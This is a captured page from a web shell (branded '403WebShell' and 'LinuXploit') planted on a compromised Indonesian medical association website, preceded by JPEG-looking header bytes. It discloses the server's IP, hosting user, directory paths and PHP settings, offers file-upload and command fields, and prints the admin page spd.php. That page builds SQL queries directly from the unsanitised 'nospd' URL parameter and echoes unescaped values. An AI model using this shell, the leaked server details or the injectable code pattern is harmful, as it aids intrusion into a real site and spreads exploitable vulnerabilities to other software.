JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 153.92.12.166  /  Your IP : 216.73.217.80
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u686484674/domains/idikotabandung.com/public_html/IDI/superadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u686484674/domains/idikotabandung.com/public_html/IDI/superadmin/spd.php
<?php  include "koneksi.php";
  session_start();
	// cek apakah yang mengakses halaman ini sudah login
	if($_SESSION['status']<>"login"){
		header("location:location:../login.php");
	}
?>

<!DOCTYPE html>
<html lang="en">

<head>
	<meta charset="UTF-8">
	<title>IDI</title>
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<link rel="stylesheet" href="style2.css">
	<link rel="icon" href="idilogo.png">
	
<!-- superadmin-->
  <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
  <link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">

  <!-- Custom styles for this template-->
  <link href="css/sb-admin-2.min.css" rel="stylesheet">
  
  <!-- Custom styles for this page -->
  <link href="vendor/datatables/dataTables.bootstrap4.min.css" rel="stylesheet">
	
	<!-- //superadmin-->
	
	
	   <!-- Bootstrap core CSS
    <link href="../assets/css/bootstrap.min.css" rel="stylesheet"> -->

    <!-- Custom styles for this template -->
   
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" />

	
	<style type="text/css">
<!--
-->

@import url(http://fonts.googleapis.com/css?family=Montserrat:400,700);

html{    
background:url(image/medical.jpg) no-repeat;
  background-size: cover;
  height:100%;
}

#feedback-page{
	text-align:center;
}

#form-main{
	width:100%;
	float:left;
	padding-top:0px;
}

#form-div {
	background-color:;
	padding-left:35px;
	padding-right:35px;
	padding-top:35px;
	padding-bottom:50px;
	width: 800px;
	float: left;
	left: 50%;
	position: ;
  margin-top:30px;
	margin-left: 20px;
  -moz-border-radius: 7px;
  -webkit-border-radius: 7px;
	
}

.feedback-input {
	color:#3c3c3c;
	font-family: Helvetica, Arial, sans-serif;
  font-weight:500;
	font-size: 18px;
	border-radius: 0;
	line-height: 22px;
	background-color: #fbfbfb;
	padding: 13px 13px 13px 54px;
	margin-bottom: 10px;
	width:100%;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	-ms-box-sizing: border-box;
	box-sizing: border-box;
  border: 3px solid rgba(0,0,0,0);
}

.feedback-input:focus{
	background: #fff;
	box-shadow: 0;
	border: 3px solid #3498db;
	color: #3498db;
	outline: none;
  padding: 13px 13px 13px 54px;
}

.focused{
	color:#30aed6;
	border:#30aed6 solid 3px;
}

/* Icons ---------------------------------- */
#name{
	background-image: url(http://rexkirby.com/kirbyandson/images/name.svg);
	background-size: 30px 30px;
	background-position: 11px 8px;
	background-repeat: no-repeat;
}

#name:focus{
	background-image: url(http://rexkirby.com/kirbyandson/images/name.svg);
	background-size: 30px 30px;
	background-position: 8px 5px;
  background-position: 11px 8px;
	background-repeat: no-repeat;
}

#email{
	background-image: url(http://rexkirby.com/kirbyandson/images/email.svg);
	background-size: 30px 30px;
	background-position: 11px 8px;
	background-repeat: no-repeat;
}

#email:focus{
	background-image: url(http://rexkirby.com/kirbyandson/images/email.svg);
	background-size: 30px 30px;
  background-position: 11px 8px;
	background-repeat: no-repeat;
}

#comment{
	background-image: url(http://rexkirby.com/kirbyandson/images/comment.svg);
	background-size: 30px 30px;
	background-position: 11px 8px;
	background-repeat: no-repeat;
}

textarea {
    width: 100%;
    height: 150px;
    line-height: 150%;
    resize:vertical;
}

input:hover, textarea:hover,
input:focus, textarea:focus {
	background-color:white;
}

#button-blue{
	font-family: 'Montserrat', Arial, Helvetica, sans-serif;
	float:left;
	width: 100%;
	border: #fbfbfb solid 4px;
	cursor:pointer;
	background-color: #3498db;
	color:white;
	font-size:24px;
	padding-top:22px;
	padding-bottom:22px;
	-webkit-transition: all 0.3s;
	-moz-transition: all 0.3s;
	transition: all 0.3s;
  margin-top:-4px;
  font-weight:700;
}

#button-blue:hover{
	background-color: rgba(0,0,0,0);
	color: #0493bd;
}
	
.submit:hover {
	color: #3498db;
}
	
.ease {
	width: 0px;
	height: 74px;
	background-color: #fbfbfb;
	-webkit-transition: .3s ease;
	-moz-transition: .3s ease;
	-o-transition: .3s ease;
	-ms-transition: .3s ease;
	transition: .3s ease;
}

.submit:hover .ease{
  width:100%;
  background-color:white;
}

body {font-family: Arial, Helvetica, sans-serif;}
* {box-sizing: border-box;}

.input-container {
  display: -ms-flexbox; /* IE10 */
  display: flex;
  width: 100%;
  margin-bottom: 15px;
}

.icon {
  padding: 10px;
  background: dodgerblue;
  color: white;
  min-width: 50px;
  text-align: center;
}

.input-field {
  width: 100%;
  padding: 10px;
  outline: none;
}

.input-field:focus {
  border: 2px solid dodgerblue;
}

/* Atur style untuk submit button */
.btn {
  background-color: dodgerblue;
  color: white;
  padding: 15px 20px;
  border: none;
  cursor: pointer;
  width: 100%;
  opacity: 0.9;
}

.btn:hover {
  opacity: 1;
}
		
        .form-content {
            background: #fbfbfb;
            border: none;
            outline: none;
            padding-top: 50px;
        }        

@media only screen and (max-width: 580px) {
	#form-div{
		left: 3%;
		margin-right: 3%;
		width: 88%;
		margin-left: 0;
		padding-left: 3%;
		padding-right: 3%;
	}
</style>
<title>JQuery Multiple Select</title>
		<script src="libs/jquery.min.js"></script>
		<script src="libs/jquery.multiple.select.js"></script>
		<link rel="stylesheet" href="libs/multiple-select.css"/>
		<script>
			$(document).ready(function(){
				$('#demo3').multipleSelect({
					placeholder: "Peserta:",
					filter:true
				});
			});
		</script>


	</head>
<body id="page-top">
<body>

<!-- Page Wrapper -->
  <div id="wrapper">
  	<?php include "sidebar.php"; ?>
    
    <!-- Content Wrapper -->
    <div id="content-wrapper" class="d-flex flex-column">

      <!-- Main Content -->
      <div id="content">
      
      <?php include "topbar.php";?>
 
      	<!-- Begin Page Content -->
        <div class="container-fluid">
          <!-- DataTales Example -->
          <div class="card shadow mb-4">
            <div class="card-header py-3">
              <h6 class="m-0 font-weight-bold text-primary">Surat Dinas</h6>
            </div>
          
  
<div class="container">				  
<?php $tgl 	= date('Y-m-d');?>


			  <div id="form-main">
			  <div id="form-div">
				  		<?php 
				  
				//  $demo4 = isset($_POST['demo3']) ? $_POST['demo3'] : null;
				  //$nospd=$_GET['nospd'];
				  
				  $nospd = isset($_GET['nospd'])  ? $_GET['nospd'] : null;
						
						
					//$sqlSiswa = mysqli_query($konek, "SELECT customer.nama_cust,h_penjualan.id_cust FROM h_penjualan,customer WHERE h_penjualan.id_pen='$kodeid' AND h_penjualan.id_=customer.id_cust ");
						//$sqlSiswa = mysqli_query($konek, "SELECT * FROM penjualan WHERE penjualan.id_cust='$id'  ");
				
				
				//$sqlSiswa = mysqli_query($konek, "SELECT * FROM h_penjualan,customer WHERE h_penjualan.id_pen='$kodeid' AND h_penjualan.id_cust=customer.id_cust ");
				$sqlSiswa = mysqli_query($konek, "SELECT * FROM spd_idi WHERE nospd='$nospd' ");

				
					$dm=mysqli_fetch_array($sqlSiswa);
				  
				  $id = isset($dm['id']) ? $dm['id'] : null;
					//$id = $dm['id'];
					//$lokasi = $dm['tujuan'];
					//$tdinas = $dm['tujuandinas'];
 					$tujuan = isset($dm['tujuan']) ? $dm['tujuan'] : null;
				    $tujuandinas = isset($dm['tujuandinas']) ? $dm['tujuandinas'] : null;
				?>
			<center><strong><h4>Surat Perjalan Dinas</h4></strong></center>	  
      </p>
		<div class="card-body">
                  <div class="row">
                  <div class="col-md-6">
                  <div class="form-group ">      
					  
					  
		<form name="input" method="post" action="addspd12.php" >
	  
      <p align="center">
       

     <label for="ket">NOSPD </label>
         <input name="tglinv" class="form-control" readonly  type=""  value="<?php echo $nospd  ?>" >
      </p> 
				  
      <label for="ket">Tanggal </label>
         <input name="tglinput" class="form-control" readonly  type="date"  value="<?php echo $tgl  ?>" size="11">
      </p> 
	  
 	  <label for="tbayar">Tanggal Berangkat</label>
 	  <br>
      <p class="name"><input name="tgldinas"  type="date" placeholder="Tgl Berangkat" class="form-control"  value="<?php echo $tgl  ?>"  />
      </p>	

      <label for="jumlah">Tanggal Kembali</label>
	  <br>
        <input name="tglkembali"   type="date" class="form-control"   placeholder="Tgl Kembali" maxlength="30" value="<?php echo $tgl  ?>" />
      </p>
  
		</div>
         </div>
                 
 			<div class="col-md-6">
             <div class="form-group"> 	
					  
					  
 		</p>Tujuan Kota/Tempat <br>
        <input name="lokasi" type="text"   class="form-control"    placeholder="Isi Tujuan Kota /tempat"  value="<?php echo  $tujuan  ?>""/>
      </p>

	  
      <label for="jumlah"class="merah">Maksud tujuan Dinas</label>
      <br>
    
	   <input name="tdinas" type="text"   class="form-control"    placeholder="Isi Tujuan Dinas"  value="<?php echo   $tujuandinas  ?>""/>

      </p> 										 
			  <label for="keterangan ">Note Tambahan</label>  </p> 
      
		<textarea name="note" class="" id="note" placeholder="Isi Catatan" ></textarea>

      </p> 										 
												 
												 <br>							 
												 
	   	    <label for="jumlah"class="merah">Pejabat TTD SPD:</label>
      <br>
   <select name="ttd">
              <?php
					$sqlKelas = mysqli_query($konek, "select * from pengurus where jabatan='ketua' ");
					while($k=mysqli_fetch_array($sqlKelas)){
				$selected = "selected";
						
						?>
							<option value="<?php echo $k['jabatan']; ?>" <?php echo $selected; ?>> <?php echo $k['nama']; ?></option>
	             <?php
					} 
					?></select>

			</p>
        <p>&nbsp;          </p>
        <div class="submit">
      
			<input type="submit" name="SUBMIT"  id="button-blue" value="Submit" />
        <div class="ease"></div>
      </div>
    </form>
 </div>
  </div>

	  <div id="form-div">	
		 <h4>Peserta perjalanan Dinas</h4>
 
		<?php
		#ambil data propinsi
		$query = "SELECT npm, nama,jabatan FROM pengurus  ORDER BY nama";
		$sql = mysqli_query($konek, $query);
		$arrpropinsi = array();
		while ($row = mysqli_fetch_assoc($sql)) {
			$arrpropinsi [ $row['npm'] ] = $row['nama'];

		}
		?>

		
       
		<form name="Pilih" action="addspd.php" method="post" enctype="multipart/form-data">
		<input name="nospd" class="form-control" readonly  type=""  value="<?php echo $nospd  ?>" >
		
		
			
		<br><br>	
		<select id="demo3" name="demo3[]" multiple="multiple" style="width:300px">
			<?php
			foreach($arrpropinsi as $kode=>$nama) {
				echo "<option value='$nama'>$nama</option>";
				
			}
			?>
		</select>
			
		<?php
			if ($nospd <>''){
			?>	
				<input type="SUBMIT" name="Pilih" id="" value="Pilih Data Peserta " >
			<?php
			}
			?>

		  </form>
 <br>
     				   <p>Data Peserta Dinas : </p></center>
											  </table>  
											 <table class="demo-table">
													<thead>
													<tr>
													 <th width="50px" scope="col">No</th>
													 <th width="200px" scope="col"> Id </th>
													
													 <th  width="300px" scope="col">Nama</th>
														 <th  width="300px" scope="col">Jabatan</th>
													 <th width="200px" scope="col">email</th>
													 <th>Action</th>
													</tr>
													<thead>
	
													
												<?php												
												
												date_default_timezone_set('Asia/Jakarta');
											   // $sql=mysqli_query($konek, "SELECT * FROM mahasiswa WHERE npm='$_GET[noijazah]'");
						//$sql   = mysqli_query($konek, "select * from spd  ");
								$sql   = mysqli_query($konek, "select spd.nospd,spd.id,spd.nmlead,pengurus.email,pengurus.jabatan,pengurus.npm from spd join pengurus on spd.nmlead=pengurus.nama where spd.nospd='$nospd'  ");
												
											//	  $datahobi=explode(',', $data['nmlead']);
												
							
													?>
													<?php
													  $no = 1;
													  $jumlah=0;
														while($du=mysqli_fetch_array($sql)){
													//	$harga = number_format($du['harga'],0,",",".");
													//	$total = number_format($du['jumlah'],0,",",".");
													?>
													
			
													
			<tr>
					<td data-header='No'><?php echo $no; ?></td>			
					<td data-header='ID'><?php echo $du['npm']; ?></td>
		   			<td data-header='Nama'><?php echo $du['nmlead']; ?></td>
				    <td data-header='Nama'><?php echo $du['jabatan']; ?></td>
				 	<td data-header='Email'><?php echo $du['email']; ?></td>
				 
					<td data-header='Reminder' class='merah' background-color='#ffcccc' >
						<?php
			if ($nospd <>''){
			?>	
					<a class='btn btn-danger btn-sm' href='delpst.php?id=<?php echo $du['id']; ?>&nospd=<?php echo $du['nospd']; ?>'>Hapus</a>
				<?php
			}
			?>
				</td>  
			</tr>
														
												<?php 
											 $no++;
											}
											?>
									
               </tr>
      </table>  
												 
												 </div>
		
		
					<?php
			if ($nospd <>''){
			?>	
					<a class='btn btn-danger btn-sm' href='cetak_spd.php?nospd=<?php echo $nospd ?>'>Proses  Notif dan mail ke peserta</a>
				<?php
			}
			?>
		<?php
//		if(isset($_POST['Pilih'])) {
//			echo "Peserta: <br/>";
//			
//				$demo4 = isset($_POST['demo3']) ? $_POST['demo3'] : null;
//				
//			if ($demo4<>''){	
//			echo implode(", ", $demo4);
//			// untuk simpan array
//			$hobi = implode(", ", $demo4);
//				
//		//	$hobi = explode(",", $demo4);
//			
//			//  mysqli_query($konek,"INSERT into spd(nmlead) VALUES('".$hobi."')");  
//				
//			// simpan satuan dari multi	
//				foreach ($demo4 as $value) {
//    mysqli_query($konek,"INSERT into spd(nmlead) VALUES('".$value."')");
//					
//					// mysqli_query($konek, $sql);
//    header('location: spd.php');
//   }
//				
//		}
//			  
//		}
		?>	
	
	

        <br> <br>
	
		<?php
	
//	 if (isset($_POST['pilih'])) {
//
//  //perulangan data array dari inputan combobox
//  foreach ($_POST['demo3'] as $value) {
//	  $hobi=$_POST['demo3'];
//    mysqli_query($konek,"INSERT into spd(nmlead) VALUES('".$hobi."')"); 
//  }
// }
 
	
	
	
		
	//	if($_SERVER['REQUEST_METHOD']=='POST'){ 
//		if(isset($_POST['Pilih'])) {
//		
//			
//			$npm=$_POST['npm'];
//			$email=$_POST['email'];
//			$nmlead=$_POST['nmlead'];
//			$jabatan=$_POST['jabatan'];
//			//cetak detail nonspp
//									$jumlah_dipilih = count($npm);
// 										for($x=0;$x<$jumlah_dipilih;$x++){
//										//mysql_query("INSERT INTO d_nonspp (npm,tkelas,kelas,jenis_tagihan,jumlah,tahunajaran)
//												//values('$nonnpm[$x]','$nontkelas[$x]','$nonkelas[$x]','$jenis[$x]','$jumlah[$x]','$tajaran[$x]')");
//									mysqli_query($konek,"INSERT INTO spd (npm,nmlead,jabatan,email,level)
//											values('$npm[$x]','$nmlead[$x]','$jabatan[$x]','$email[$x]','pengurus')");
//									  } 	  
//		}
//		}
		?>
        <br> <br>

      
    </div>

  </div>     
 </div>


  

		</div>
</body>
</html>	
				  

     <?php include "footer.php";?>





    </div>
    <!-- End Main Content -->
    </div>
    <!-- End Page Wrapper -->
   <!-- Bootstrap core JavaScript-->

</div>	
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit